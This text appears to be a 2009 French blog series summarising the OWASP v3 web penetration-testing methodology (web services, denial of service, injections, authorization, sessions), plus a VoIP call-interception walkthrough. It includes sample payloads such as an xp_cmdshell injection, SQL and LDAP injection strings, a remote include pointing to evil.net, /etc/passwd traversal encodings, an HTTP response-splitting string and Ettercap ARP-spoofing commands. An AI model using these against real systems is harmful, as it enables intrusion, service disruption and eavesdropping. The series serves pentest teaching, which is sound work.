Conclusion / En résumé

Pour conclure sur les dix posts à propos de la méthodologie OWAP, je dirai qu'il s'agit pour moi de la seule norme éprouvée dédiée aux applications WEB. Elle a l'avantage de traiter tous les types de tests les plus communs (ex : injections) et les tests attraits aux nouvelles technologies WEB (ex : application AJAX). Ensuite, elle aborde tous ces sujets d'une manière très technique (partie 4 du document) mais aussi les parties environnantes pour proposer un test d'intrusion complet (contexte des tests, évaluation des résultats, écriture d'un rapport).
Bref, un fil conducteur très intéressant pour qui souhaite mener un test d'intrusion d'application WEB de manière rigoureuse.

jeudi 19 mars 2009

[STANDARD] OWASP - Episode 9

A grand pas, nous arrivons à la fin de notre étude sur la méthodologie OWASP. Dans ce neuvième épisode, nous traitons des Web Services. Mine de rien, c'est fou tout ce qu'ils peuvent nous permettre de faire ! Mais comme toujours, tout dépend de la sécurité de leur implémentation. Alors, prêt à tester ?


1 - Avant-propos

Dans la norme OWASP, il s'agit de la section 4.10. Nommée Web Services Testing - WS, elle aborde les grands axes d'attaques des services en question de leur découverte à leur exploitation en sept points.


2 - Phase de tests actifs 8 - tests sur les Web Services


2.1 - Collecte d'information sur les Web Services

Si nous ne connaissons pas la localisation des Web Services sur le serveur WEB hôte et que celle-ci n'est pas triviale, il nous faudra la trouver. Pour cela, plusieurs moyens s'offrent à nous :
  • grâce à notre ami Google avec un requête du type :

inurl:wsdl site:nom_cible


Sinon, nous pouvons tenter de les trouver avec les chemins, nom et extensions bien connus Pour cela, prendre les URLs connues et ajouter (combiner) :
  • /services/
  • nom_services
  • wsdl, uddi, disco, etc. Essayer aussi en les précédant d'un "?"

2.2 - Tests des WSDL

Une fois repérés les WSDLs, nous aurons accès à leur description. Ce qui nous intéresse alors, ce sont :
  • les noms des opérations (avec éventuellement leurs paramètres) ;
  • les URLs et/ou adresses IP fournies (adresses externes ou internes ...).

Pour cela, deux outils peuvent nous être utilise : WebScarab (en version complète) et WSDigger.


2.3 - Structure des fichiers XML

La description des WSDL est enregistrée au format XML. Le présent paragraphe s'attache à la bonne constitution de ces fichiers XML. Pour cela, nous allons vérifier les points suivants :
  • Le fichier est-il correctement formé ? Les balises sont-elles correctement fermées ?
  • Des éléments permettent-ils d'injecter des données larges ?
  • Des éléments permettent-ils d'injecter des binaires (éventuellement en base64) ?
  • Des éléments permettent-ils de lancer des injections malicieuses (voir Épisode 8) ?


2.4 - Attaque XML Content-Level

Suite à l'analyse effectuée dans l'étape précédente, nous allons tenter d'exploiter les vulnérabilités potentielles repérées. Le but est de s'amuser avec les paramètres et de les transformer à notre guise pour tester le comportement du serveur et/ ou de mener des attaques. Cela suppose néanmoins de pouvoir intéragir avec les WSDL.
Nous allons illustrer nos propos avec le screenshot suivant (avec WebScarab) :


Pour commencer, nous choisissons le WSDL que nous voulons tester (WSDL :). Puis, on choisit l'opération qui nous intéresse (1). Ensuite, On change la valeur du paramètre souhaité (2). Nous chargeons l'outil de créer la requête SOAP associée en cliquant simplement sur "Execute" (3). Le résultat est fourni en (4).


2.5 - Requête HTTP GET

Cette fois, nous tentons de modifier les paramètres via l'URL directement. indirectement, notre but est d'agir sur le WSDL. Alors, dans les paramètres, nous modifierons les valeurs fournies dans les requêtes en GET ou mieux, d'exécuter des commandes précédées du séparateur approprié (e.g. & ' ; ou |). Par exemple, la commande pourrait être lancée par la procédure master..xp_cmdshell d'un MSSQL :

' exec master..xp_cmdshell + commande


2.6 - Requête SOAP avec attachement

Un peu plus complexe que l'étape 2.4, il s'agit ici de forger une requête SOAP aussi à destination du WSDL cible à la différence près que nous cherchons à incorporer un attachement dans la requête. L'objectif est - par exemple - d'uploader sur le serveur WEB un programme nous permettant de prendre la main. Comme le suggère la méthodologie, le test peut consister en un test EICAR.


2.7 - Attaque de rejeu

Nous travaillons cette fois en local et après avoir lancé une attaque de type MItM. Alors, notre but est de récupérer les éléments valides d'une session (credentials, cookie, etc ...) pour pouvoir nous approprier les requêtes passées par d'autres utilisateurs en les rejouant. Nous aurons besoin d'outils pour sniffer le trafic (ex : wireshark) + TCPReplay et/ou Webscarab.

mercredi 18 mars 2009

[STANDARD] OWASP - Episode 8

Nous continuons sur notre lancée pour aborder le huitième épisode sur la méthodologie OWASP. Il s'agit ici de traiter des dénis de service. Rarement demandé lors d'un pentest, des effets pourtant ravageurs en cas de succès ...


1 - Avant-propos

Ce chapitre correspond à la section 4.9 de la norme, nommé Denial of Service Testing - DS. Puisque nous parlons de déni de service, les attaques correspondantes ne devront être lancées que si elles sont explicitement demandées. En effet, la compagnie demandeuse est rarement prête à prendre le risque de voir tomber sa prod'. Cependant, les tests peuvent se dérouler sur un environnement de test ou le client peut très bien être intéressé par des tests exhaustifs ou les dénis de services ont largement leur place.


2 - Phase de tests actifs 7 - tests sur les dénis de service

2.1 - DS-001 : Attaque DoS basées sur les "wilcard characters"

Les "wildcard characters" sont les caractères spéciaux qui remplacent plusieurs caractères ou une chaînes. Par exemple, le caractère "*" peut remplacer toutes les chaînes. Le but est de les utiliser pour forcer la base de données cible à chercher le plus longtemps possible pour répondre à notre requête. Voici quelques règles à suivre :
  • La requête doit demander un élément inexistant ou très rare dans un champ de recherche très large ;
  • Utiliser de longues et complexes requêtes avec des "wildcard characters" ;
  • Commencer et terminer la requête par un "%" (pour le LIKE).
L'objet de cette attaque et de rendre la BDD inutilisable ou du moins très ralentie.

2.2 - DS-002 : Bloquer les comptes utilisateur

Généralement, un seuil est imposé pour le nombre d'essais autorisés pour se connecter avec un compte. Cela évite notamment les attaques de type "brute force". Cependant, une fois la totalité des essais épuisée, le compte est bloqué pendant une durée indétermminée. Nous avons deux cas :
  • Nous connaissons le login des comptes à bloquer. Dans ce cas, tenter au moins 15 essais jusqu'à blocage du compte ;
  • Nous ne connaissons pas de login. Alors, il nous faut les trouver grâce :
    • aux messages et pages d'erreur fournis à partir de la page de login (point déjà traité) ;
    • à la page de création de compte en tentant de créer un utilisateur déjà existant ;
    • à la page permettant de recouvrer son mot de passe (point déjà traité).
2.3 - DS-003 : DoS basés sur des attaques de type "Buffer Overflow"

Nous avons déjà abordé le sujet des "buffer overflow" dans l'épisode précédent. La différence est qu'ici, le but est de simplement rendre inacessible un service. Par exemple, nous pourrons le vérifier si une page ou une fonctionnalité n'est plus disponible suite à notre attaque.

2.4 - DS-004 : DoS sur l'allocation d'objet

Parmi les actions permises pour l'utilisateur, ce dernier peut parfois - directement ou non - créer des instances d'un objet quelconque (propriété, caractéristique, entrée dans un base, etc.). Pour illustration, au niveau du code, la création d'un objet se fera avec un new.

2.5 - DS-005 : Utilisation d'une boucle

Les codeurs utilisent souvent des boucles dans leurs programmes. Si une boucle est localisée ou supposée, l'utilisateur pourra tenter de dépasser les limites d'une boucle (ex : dans le cas d'une boucle for) ou de lancer une boucle infinie (ex : avec une boucle while).

2.6 - DS-006 : Saturation d'un disque

Si la gestion des logs n'est pas sécurisée, il peut arriver que de nombreux logs soient enregistrés. Aussi, il est possible que le disque accueillant les logs n'ait pas un espace suffisant. Alors, le but de l'attaquant sera de générer un maximum de logs pour mettre en d'usage le système de log. Cette attaque se fera généralement à l'aide de scripts automatiques ou de requêtes coûteuses en espace disque.

2.7 - DS-007 : Saturation des ressources

Les ressources créées sur le serveur demandent des ressources diverses (disque, CPU, mémoire vive, et/ou réseau). Si elles ne sont pas fermées ou réallouée correctement, elles s'accumulent et peuvent provoquer une surcharge quelconque. Par exemple, nous pouvons avoir :
  • des fichiers mal fermés qui sont lockés ;
  • des ressources accumulées qui demandent une mémoire vive trop importante par rapport aux capacités du serveur ;
  • des connections toujours actives sur un BDD jusqu'à atteindre le seuil autorisé (ex : 15 connexions simultanées).

2.8 - DS-008 : Saturation d'une session

Ici, nous tentons de stocker un maximum de données dans une session. Aussi, il peut s'agir de créer un maximum de session pour surcharger le serveur. Idéalement, nous combinerons les deux. Les exigences en termes de mémoire sont alors de plus en plus forte pour le serveur qui finira certainement par ne plus avoir les capacités d'assurer une telle demande.

jeudi 12 mars 2009

[STANDARD] OWASP - Episode 7

Septième épisode de notre épopée vers la connaissance de la méthodologie OWASP. Nous n'avons pourtant pas encore couvert tous les sujets, ni même les plus classiques. En effet, s'il y a bien une recette qui marche à presque tous les coups en termes de pentests d'applis WEB, ce sont les injections en tout genre !


1 - Avant-propos

L'épisode 7 traite du contrôle des données fournies en entrée par un utilisateur (Data Validation Testing - DV). Dans le cas d'un attaquant, il tentera d'injecter des caractères spéciaux puis du code malicieux si le contrôle des données n'est pas efficace. Le but n'est pas d'expliquer le fonctionnement de chaque type d'injection (ou alors, je tente la page de blog la plus longue de la toile ;) mais de passer en revue les principales possibilités à la disposition d'un attaquant proposées par la norme en question.


2 - Phase de tests actifs 6 - tests sur les injections

2.1 - DV-001 : XSS non persistant

Il existe deux catégories d'attaque de type XSS (ou Cross Site Scripting) :
  • les XSS non persistants qui ne sont pas maintenus dans l'application, lancé en "one-shot" (cf. le paragraphe présent) ;
  • les XSS persistants qui sont maintenus et pourront être rejoués par les victimes à leur insue en consultants un page affectée par exemple sans que l'attaquant n'intervienne de nouveau (cf. paragraphe suivant) ;
  • Il existe en réalité une troisième catégorie plus particulière, les attaques de type CSRF (vue dans l'épisode 4).
Pour trouver un XSS non persistant, nous abordons la démarche suivante :
  • Quels sont les entrées possibles ? Où avons-nous une chance de réussir une telle attaque. La réponse a normalement été élucidée dans l'épisode 1 ;
  • Phase d'analyse : tenter un XSS classique (cf. exemple ci-dessous. Encoder la requête si nécessaire).
  • Phase d'attaque : injecter le code souhaité (ex : récupération des cookies).



2.2 - DV-002 : XSS persistant

Les XSS persistants sont encore plus appréciés de l'attaquant puisqu'ils peuvent avoir des retombées après coup. Une démarche similaire sera suivie pour injecter de tels codes :
  • Trouver un moyen d'"enregistrer" votre XSS (formulaire, page de profil, page de configuration, etc.) ;
  • Analyser le code HTML de la page pour y trouver le champ vulnérable ;
  • Tester avec un XSS classique (un autre exemple est fourni ci-dessous).
  • Injecter le code qui sera exécuter lorsque la page infectée sera consultée manuellement ou automatiquement (ex : par une moulinette). Il est aussi possible d'utiliser des outils d'exploitation (un prochain post ?).

2.3 - DV-003 : DOM Based XSS

En boîte grise, ce test consiste à
  • trouver dans le code les fonctions potentiellement injectables (ex : document.location, document.url, ...) ;
  • tenter l'attaque :
    • ex1 : concaténer le caractère # suivi du code malicieux (javascript) dans l'URL ;
    • ex2 : essayer le code XSS à la place des valeurs des paramètres.
Je vous invite à voir le document d'Amit KLEIN pour plus d'info sur ce sujet.

2.4 - DV-004 : Cross Site Flashing

Nous testons ici la sécurité des animations flashs :
  • Dans un premier temps, récupérer le *.swf avec un simple wget ;
  • Puis, utiliser flare pour le décompiler ;
  • Trouver les méthodes potentiellement dangereuses (ex : loadVariables(), getURL(), etc.) ;
  • Injecter le code malicieux (ex : javascript:code_malicieux).
Pour n'en citer qu'un seul, il existe un outil pour auditer ce genre d'animation : SWFIntruder.

2.5 - DV-005 : injections SQL

Là, on s'attaque à un très gros morceaux. La norme prend l'ampleur du sujet en traitant les bases de données les plus connues (MySQL, Oracle, MS SQL, Access, PostgreSQL). Nous n'abordons ici que le principe très (très très) général.
  • L'attaque réussie la plupart du temps dans le champ d'un formulaire, d'un champ de recherche, d'un champ d'e-commerce ;
  • Tester les caractères spéciaux et chaînes qui peuvent nous permettre de construire des requêtes SQL : ' ; - AND OR /*
  • Lancer des injections SQL en devinant les requêtes sous-jacentes (ex : 1' or '1'='1)

2.6 - DV-006 : injections LDAP

Les bases LDAP renferment des informations souvent aussi sensibles que celles que l'on aurait pu récupérées dans les bases de données vulnérables (cf. paragraphe précédent). Concrétement, les attaques vont généralement se réaliser de la manière suivante :
utiliser le caractère * à la place des valeurs légitimes pour afficher tous les résultats ;
essayer les caractères ( | & , * pour provoquer des erreurs et obtenir des informations ;
pour l'authentification, il existe des attaques plus complexes (exemple ci-dessous).
username => *)(uid=*))(|(uid=*
password => nimportequoi


2.7 - DV-007 : injections ORM

L'ORM ajoute une couche intermédiare entre la base de données et l'application WEB. Cependant, il n'est pas exempt de vulnérabilité. Aussi, comme toute solution, elle n'est efficace que si elle est configurée correctement. Sinon, son effet peut être inverse ... Le but de cette phase est donc :
  • de s'assurer que l'ORM ne comporte pas de faille, ni de défaut de configuration ;
  • de tester les attaques d'injections seront similaires à celles déjà évoquées en DV-005 ;
  • en cas de test en mode boîte grise/blanche, d'étudier le code qui pourra certainement révéler de nouvelles failles.

2.8 - DV-008 : injections XML

Le format XML est aujourd'hui très répandu pour transporter les informations entre l'IHM et la base de données. Il est donc fréquent de rencontrer ce format lors d'un pentest. Une nouvelle piste pour l'audit !
  • Tester les caractères spéciaux acceptés et susceptibles d'intervenir pour une injection : ' " < > &
  • Connaître la structure de la base de données. Est-il possible de lire la DTD ? Si oui, repérer les noms de champ intéressants ... Utiliser le type Entity avec le caractère & ;
  • Tester un Tag injection en insérant des tags malicieux dans les champs vulnérables.
En tant qu'exemple, nous prenons un champ qui ajoute un utilisateur dans la BDD. Nous allons en ajouter deux de la manière suivante :

Deuxième exemple : nous ajoutons une propriété supplémentaire à notre utilisateur :

2.9 - DV-009 : injections SSI

SSI pour "Server Side Includes" permet d'obtenir du code dynamique dans ses pages HTML. Quelles sont les pages vulnérables ? En générale, les pages dont l'extension est *.shtml mais pas forcément. Alors comment le savoir ? Encore une fois, tester la réaction du serveur face aux caractères spéciaux : < ! # = / . " - >
Puis ... à l'attaque ! Voici un exemple ci-dessous :


2.10 - DV-010 : injections XPATH

XPATH est le langage qui sert à interpréter des fichiers XML. Les attaques vont être très similaires à une injection SQL :
  • Comment tester ? Tenter le caractère '. Cela provoque-t-il une erreur intéressante ?
  • Tester une injection SQL classique (cf. DV-005 pour avoir des exemples plus que classique :)
  • Adapter l'attaque si on a connaissance du code XML associé.
  • De la même façon que pour SQL, nous pouvons tenter une attaque en aveugle.

2.11 - DV-011 : injections IMAP/SMTP

Bon, il n'est pas nécessaire de présenter les protocoles IMAP et SMTP mais connaissez-vous les attaques possibles sur ces protocoles en termes d'injection ?
  • Injection dans l'URL : modifier un paramètre en lui donnant une valeur nulle, aléatoire ou contenant un caractère spécial. Vous pouvez aussi modifier le nom du paramètre ou carrément le modifier. A travers ces différents tests, vous connaîtrez mieux le comportement du serveur de messagerie.
  • Compléter votre connaissance en générant des erreurs sur les paramètres et valeurs vulnérables d'après le premier point. Le but est de connaître les flux et structures intéressant de la méssagerie.
  • Tester les injections sans être connecté (ex : utilisez les commandes IMAP) puis en l'étant si vous disposez d'un compte (ex : utilisez les caractères CRLF au bon endroit du mail qui n'est pas constitué que du corps de message ...).

2.12 - DV-012 : injections de code

Dans l'URL, il est parfois possible de lancer des commandes en modifiant les paramètres avec du code malicieux (encodé). En boîte grise, nous chercherons les parties de code ou fonction qui autorise d'entrée du code et qui, surtout, accepte des injections permettant l'exécution de code sur le serveur hôte (ex : un simple ls).

2.13 - DV-013 : OS Commanding

Intéragir avec le serveur hôte est un grand pas dans notre phase d'attaque. Les méthodes les plus classiques consistent à enchaîner des intructions malicieuses à des instructions légitimes. En général, cela revient à ajouter :
  • & suivi de la commande (Windows) ;
  • ; suivi de la commande (Linux) ;
  • | suivi de la commande.

2.14 - DV-014 : Buffer Overflow

Bon bah là, pour résumer en moins de cent lignes, je sais pas faire ;) Il faut savoir que la norme prend en considérations les trois types d'attaques suivants : Heap overflow, Stack overflow et String Attack. Pour la démarche, je vais énormément simplifier mais grossièrement :
  • On injecte une chaîne trop grande ;
  • On repère l'octet où on pourra injecter une adresse qui redirige vers notre code malicieux ;
  • Dans le cas d'une string attack, on utilisera les chaînes suivantes : %x, %s et %n pour tenter de corrompre l'application.

2.15 - DV-015 : Incubating Vulnerability

Cette fois, nous tentons de corrompre l'application en y "déposant" un code malicieux que nous pourrons réutiliser pour pousuivre notre attaque (exemple, une backdoor) ou en espérant qu'une gentille victime actionne notre piège.
  • Il peut s'agir tout simplement d'uploader notre code grâce à un champ sympa (ex :champ pour l'upload de fichier) ;
  • Aussi, il peut s'agir d'XSS, injection SQL + XSS, ... (ex : dans un forum) ;
  • Ou encore, en profitant d'un défaut de sécurité ou de configuration. Par exemple, on peut injecter un fichier WAR malicieux (cf le post sur Jonas et JBoss ...).

2.16 - DV-016 : Splitting et Smuggling attack

Une splitting attack consiste à s'arranger pour envoyer deux requêtes HTTP dont une notamment qui ne devrait pas être acceptée normalement par le serveur WEB.
  • Utiliser le CRLF avec votre requête malicieuse. Pour info, nous pouvons encoder le CRLF en %d%a ...
  • La requête toute entière doit être encodée ;
  • Pour compléter l'attaque, nous modifons le champs Last-modified avec une date dans le futur (ce champ est dans l'entête de la requête HTTP).
Plus que des mots, un exemple ci-dessous :
fr%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AConteny-Length%3A%2031%0D%0A%3CHTML%3ESuccessfully%20Hacked!%3C%2Fhtml%3E

mercredi 25 février 2009

[STANDARD] OWASP - Episode 6

Ce nouvel épisode est la suite de notre étude de la nouvelle version de la norme OWASP. Le but est de pratiquer les tests d'intrusion de manière méthodologique et aussi, de donner de nouvelles idées. Particulièrement, ce sixième épisode s'attache aux spécificités métiers de l'application cible.


1 - Avant-propos

Le sixième épisode que nous traitons ici représente le cinquième chapitre de tests actifs après un premier chapitre de découverte. Dans la norme OWASP v3, il s'agit du chapitre 4.7 relatif aux tests de l'application WEB cible et notamment les fonctions métiers qui peuvent être sujettes à des problèmes de sécurité.


2 - Phase de tests actifs 5 - tests sur les fonctionnalités métiers

2.1 - BL-001 : Tests des fonctionnalités métiers

Puisque chaque application est différentes, il n'existe pas de tests particuliers que nous pouvons fournir de manière certaine. Cependant, une démarche précise est proposée pour couvrir au mieux l'application et tenter de trouver les failles de sécurité éventuelles.

1/ Comprendre l'application :

Il s'agit ici de connaître les possibilités offertes par l'application. Pour cela, l'auditeur pourra s'aider de la documentation disponible (test en boîte blanche) et de sa propre exploration de l'application en navigant sur les différentes pages. Il est important de noter à cette étape :
  • les limites rencontrées (que nous essaierons ensuite de contourner) ;
  • les différentes manières de réaliser certaines actions (notamment les actions les plus importantes).
Cette première étape nous fournit un aperçu de l'application et nos premières pistes.

2/ Etablir les scénario de tests :

Nous prenons ici en compte tous les cas possibles que nous devrons croiser entre eux pour être exhaustif. Les cas en questions sont :
  • les fonctionnalités principales (recherche d'un produit, commande d'un produit, ...) ;
  • le circuit de validation d'une action (ex : de la commande à la validation d'un achat) ;
  • les différents rôles intervenant sur l'application (e.g. de l'administrateur au directeur) ;
  • les différents services (service IT, marketing, ...) ;
  • les droits et privilèges accordés à chacun ... et à vérifier.
Ces cinq éléments doivent nous permettre de constituer un tableau avec l'ensemble des actions permises pour chaque niveau d'utilisateur.

3/ Préparation des tests

Suite à l'étape précédente, nous devons déterminer ici le ou les test(s) à réaliser en conséquence pour nous assurer que l'application est correctement cloisonnée par type d'intervenant et par action.

Par conséquent, à l'issue de cette troisième étape, un nouveau tableau sera créé contenant les tests résultants de l'étape précédente. Nous nous appuierons donc largement sur le précédent tableau.

4/ Obtention des pré-requis

Maintenant que les tests à réaliser sont connus, il est temps de demander au client les ressources nécessaires à leur réalisation. La plupart du temps, il s'agira de comptes avec des niveaux de privilèges différents. Aussi, il peut s'agir d'URL d'administration pour les comptes les plus privilégiés. Il est préférable de commencer avec un compte standard et de demander les ressources au fur et à mesure pour ne pas influencer les tests.
Par exemple, est-il possible de trouver et d'accéder à l'interface d'administration avec un compte standard sans information préalable ?

5/ Exécution des tests

L'exécution des tests issus du tableau déterminé en 3/ considérera la plupart du temps :
  • l'analyse des requêtes HTTP ;
  • les protections apportées (ou non) aux flux et données (e.g . chiffrement) ;
  • la récupération d'erreur lorsque nous testons des valeurs limites ou hors range (ex : valeur négative ou très importante pour une somme) ;
  • la recherche d'information cachée dans le traitement des actions;
  • la modification de données en cours d'action ;
  • le contournement d'une ou plusieurs étapes de validation ;
  • etc.
A vous de jouer !


La suite au prochain épisode.

mardi 24 février 2009

[STANDARD] OWASP - Episode 5

Ce post traite la quatrième phase des tests actifs. Ils sont relatifs à l'autorisation sur les ressources (utilisateurs, fichiers, données, etc.) gérées par l'application WEB testée. Le but des attaques présentées est de trouver l'accès à des ressources protégées ou de réaliser une escalade de privilèges.


1 - Avant-propos

Nous continuons notre aventure à la découverte de la norme OWASP v3 dans ce cinquième épisode. De nom originel "Authorization Testing", il s'agit du chapitre 4.6 de la norme. A noter que cette partie aborde plus des points d'attaque que des attaques précises. En effet, une escalade de privilège suit rarement un acheminement précis sauf dans le cas d'un exploit existant qui entre dans le cadre d'une vulnérabilité trouvée.


2 - Phase de tests actifs 4 - tests sur les autorisations

2.1 - AZ-001 : Traverse de répertoires (ou "Path Traversal")

Nous allons mener cette attaque en deux étapes :

1/ Rechercher les points susceptibles d'être vulnérable à une telle attaque : URL, cookie, et autres points contenant ou acceptant un point d'entrée (généralement, avec le signe "=").
2/ Tester l'attaque dont voici quelques exemples :
  • dot dot slash attack. Ex : ../../../etc/passwd ;
  • injecter une URL malicieuse dans une URL de l'application. Ex : http://www.cible.php?page=http://evil.net/script_malicieux
  • tenter de dévoiler le code source d'une partie de l'application. Ex : http://www.cible.com/function.cgi?file=trouverez-vous-mon-code-source.cgi.
Dans le cas où un filtrage des caractères est mis en place, il est bon de savoir que :
  • ../ s'écrit aussi %2e%2e%2f ou encore ..%c0%af
  • ..\ s'écrit aussi %2e%2e%5c ou %252e%252e%255c ou encore ..%c1%9c
Dans le cadre d'un test en boîte grise, la méthodologie est la même (suivre les deux mêmes étapes). La différence est que les points d'entrée devront être cherchés dans les fonctions spécifiques comme par exemple :
  • include() en PHP ;
  • java.io.file() en JSP.

2.2 - AZ-002 : Contournement des autoriations

Pour cette partie, il n'existe pas de manière précise d'opérer. Cependant, répondre aux questions suivante en effectuant les tests associés permettra à de savoir si les autorisations appliquées à l'application peuvent être contournées ... quand elles existent.
  • Peut-on accéder à la ressource non autorisée sans être connecté ? Une fois déconnecté ?
  • Est-il possible d'accéder à une ressource administrative avec un compte standard ?
  • Dans les requêtes HTTP, est-il possible de modifier certains paramètres pour obtenir de nouveaux droits ?
  • Tester si un utilisateur qui ne devrait pas avoir accès à une certaine ressource ne peut effectivement pas y être autorisé.

2.3 - AZ-003 : Escalade de privilèges

Tout d'abord, il est important de savoir qu'il existe deux types d'escalade de privilège afin que les tests soient exhaustifs :
  • L'escalade horizontale : elle consiste à accéder à une ressource d'un autre utilisateur qui a les mêmes droits que nous (ex : le compte mail d'un autre utilisateur) ;
  • L'escalade verticale : elle consiste à accéder à des ressources requérant des droits supérieurs (ex : des droits administrateurs alors que nous n'avons qu'une compte utilisateur standard).
Les tests se font de la manière suivante :
  • commencer par trouver les champs susceptibles de permettre une escalade de privilèges (ex : un champ caché contenant un ID ou un niveau d'autorisation) ;
  • modifier les valeurs repérées et voir le comportement de l'application. Est-ce que la modification nous fournit l'accès à de nouvelles ressources ? A des ressources demandant normalement un accès privilégié ?
Pour que ce soit plus clair, il suffit d'imaginer par exemple que le niveau d'authentification est fourni dans le cookie : Session-ID=3-adebadbcaf85cc43+adfg32+56defc, le premier chiffre avant le tiret (ici, 3) pourrait très bien représenter le niveau d'authentification. Essayer donc avec "1" ou "5".


La suite au prochain épisode ...

lundi 23 février 2009

[STANDARD] OWASP - Episode 4

Nous abordons ici la troisième phase des tests actifs. Ils concernent la gestion des sessions à travers les cookies. De nombreux paramètres peuvent être testés. Etant donné qu'une mauvaise implémentation peut permettre l'obtention d'une session à un attaquant, nous voyons de suite l'intérêt de ce sujet.


1 - Avant-propos

Ce post est le quatrième d'une série de dix. Chaque "épisode" aborde un chapitre de la norme OWASP, version 3. Le but est de mener le test d'intrusion d'une application WEB méthodologiquement. Le post présent fait référence au chapitre 4.5 de la norme, nommé "Session Management". Pour la partie théorique, voir l'article sur Wikipedia en anglais très intéressant. Pour le côté pratique, il est recommandé d'effectuer tous ces tests à l'aide d'un proxy local pour intercepter et rejouer les requêtes HTTP.


2 - Phase de tests actifs 3 : tests sur la gestion des sessions à travers les cookies

2.1 - SM-001 : Structure des cookies

Ce premier point est en fait une prise d'information sur la façon dont sont créés et utilisés les cookies. Mieux comprendre le fonctionnement permet au moins de mieux préparer les attaques qui suivent et au mieux de trouver de premières vulnérabilités.

1/ Ouvrir un certain nombre de sessions faisant intervenir les cookies à analyser (NB : il est possible de s'aider d'un outil comme Cookie Digger pour les étapes qui suivent).
  • Combien de cookies sont générés pour ouvrir une session ? Quand ? Comment ? Sont-ils modifiés dans le cadre de la session ?
  • Les cookies eux-mêmes révèlent-ils des informations intéressantes ? (notamment le Session ID)
  • Les données contenues dans les cookies sont-elles chiffrées ? Si oui, l'algorithme utilisé est-il fiable ?
  • La génération des Sessions ID est-elle prédictible ou réellement aléatoire ?

2/ Reverse engineering des cookies.

  • Est-il possible de créer un cookie valide ?
  • Est-il possible de modifier un paramètre contenu dans le cookie ? (ex : Admin=No que l'on changerait en Admin=Yes).
  • Que se passe-t-il en cas de modification du cookie ? (suppression / remplacement ou ajout de caractères) ?
  • Quels est l'ensemble des caractères utilisés ?

3/ Manipulation des cookies.

  • L'ID est-il présent en clair ?
  • Sinon, peut-il être deviné ? (ex : algorithme trop simple)
  • Sinon, est-il résistant aux attaques de type Brute-Force ? (NB : cf. Cookie Digger)

2.2 - SM-002 : Les attributs des cookies

Les cookies les plus critiques doivent comporter un certain nombre de flags et ceux-ci doivent être correctement configurés :
  • Le flag secure (impose la transmission via un tunnel chiffré comme SSL) ;
  • Le flag HTTP-Only (pour se prémunir contre certaines attaques de type XSS) ;
  • Le flag Domain doit être présent et le plus précis possible ;
  • De même pour le flag Path (i.e. différent de "/") ;
  • De même pour le flag expires doit être configuré pour éviter le rejeu.


2.3 - SM-003 : Fixation des cookies

Admettons qu'un même cookie puisse être réutilisé pour ouvrir une session, le récupérer d'une manière ou d'une autre donne un accès, voir l'accès d'un autre utilisateur.

  • Il suffit de générer un cookie via une requête GET sur le site cible.
  • Ensuite, on réutilise ce cookie avec une requête POST.
Par exemple, faites un GET sur le site blogspot.com :

telnet www.blogspot.com 80
GET / HTTP/1.0

Ces opérations peuvent être effectuées via un proxy local (Burp, Paros, Webscarab, ...).


2.4 - SM-004 : Exposition des variables (cookie, session-ID, ...)

1/ Tenter de se connecter via un session HTTP. Les cookies sont-ils systématiquement générés via un protocole chiffré ? (e. g. HTTPS). La partie authentifiante est-elle renouvelée à chaque authentification ? Sinon, il y a un risque de rejeu...

2/ La version 1.1 du protocole HTTP est-elle implémentée ? Elle permet l'interprétation de l'attribut cache avec l'argument no-cache évite la réutilisation du cookie (cf. image ci-dessus).

3/ La génération des cookies se fait-elle à travers la méthode POST ? Cette dernière est moins vulnérables que la méthode GET.


2.5 - SM-005 : Attaque CSRF

Ce post n'a pas pour ut d'expliquer cette attaque en détail mais le lecteur curieux trouvera des informations sur le site Wikipedia de nouveau.
Le test peut être mener en cinq étapes :

1/ Trouver une URL valide qui lance l'action souhaitée (ex : www.cible.com/administrative_task) ;
2/ Créer une page HTML contenant cette URL (lien HTTP, image, ...) ;
3/ Assurez-vous que l'utilisateur est actuellement loggé à l'application (et donc que sa session est ouverte) ;
4 / Trouvez un moyen de faire cliquer l'utilisateur sur le lien (1/) présent sur votre page (2/) ;
5/ Vérifier que la commande a bien été exécutée.

Le but est donc que la commande que vous souhaitez exécuter le soit par l'utilisateur lui-même avec sa session quand vous n'avez pas les accès nécessaires.


La suite au prochain épisode ...

dimanche 1 février 2009

[PENTESTING] VoIP Hacking

La VoIP est depuis quelques années déjà une partie intégrante du SI. Elle est considérée comme un point sensible car les conversations permettent de révéler des informations importantes et surtout, peuvent porter à la vie privée des employés. Nous allons donc voir ici, d'un point de vue technique, quelle est la manière de récupérer des conversations.


1 - Avant-propos

Il est important de noter que le cas présenté ici est simple. En effet, nous considérons que tous les composants de notre attaque (passerelle VoIP + machines victimes + machine d'audit) sont dans le même réseaux ou dans des réseaux non cloisonnés.
Aussi, les flux ne sont pas chiffrés et l'authentification inexistante. Cependant, c'est un cas tout à fait réaliste dans le sens où c'est ce que nous pourrions trouver dans une entreprise qui a laissé les paramétrages par défaut.


2 - Localisation des éléments clés

Notre interception de trafic repose sur le sniff entre la passerelle VoIP et le routeur le plus proche de la machine d'audit (ici). Ensuite, nous devons accompagner ce sniff par une attaque de type Man-in-the-Middle. Nous devrions alors récupérer un tas de choses intéressantes...

2.1 - Localisation du routeur le plus proche

Nous effectuons tout simplement un traceroute pour trouver le routeur en question (ce que nous pourrons vérifier par des moyens simples (ifconfig / requête SNMP / ...) :

L'adresse de notre routeur est donc : 10.xxx.yyy.2.

2.2 - Localisation de notre passerelle VoIP

Nous utilisons l'outil smap qui permet de trouver les éléments actifs sur le port 5060 (SIP).

smap 10.xxx.zzz.0/24

Nous détectons ainsi la passerelle comme le montre le screenshot suivant :

L'adresse de notre passerelle VoIP est donc : 10.xxx.zzz.130.

Pour vérification et avoir plus d'information sur ma machine repérée, nous lançons smap avec l'option -o :

smap -o 10.xxx.zzz.130


3 - Interception du trafic

Nous mettons en œuvre cette fois l'attaque Man-in-the-Middle à l'aide de l'outil Ettercap. Puisque cette attaque est bien connue et déjà expliquée sur ce blog, nous n'entrerons pas dans les détails ici. Sinon, voir [post, point 3.2] [wikipedia].

Nous lançons la commande :

ettercap -Tqi eth0 -M arp /10.xxx.zzz.130/ /10.xxx.yyy.2/


4 - Capture et enregistrement des conversations

Pour réussir cette dernière étape, nous utilisons deux outils disponibles notamment sur la backtrack 3 :
  • voipong
  • voipctl
4.1 - Un peu de configuration

Pour donner l'adresse du réseau audité, aller dans le fichier de configuration voipongnets.

cd /usr/local/etc/voipong
vi voipongnets

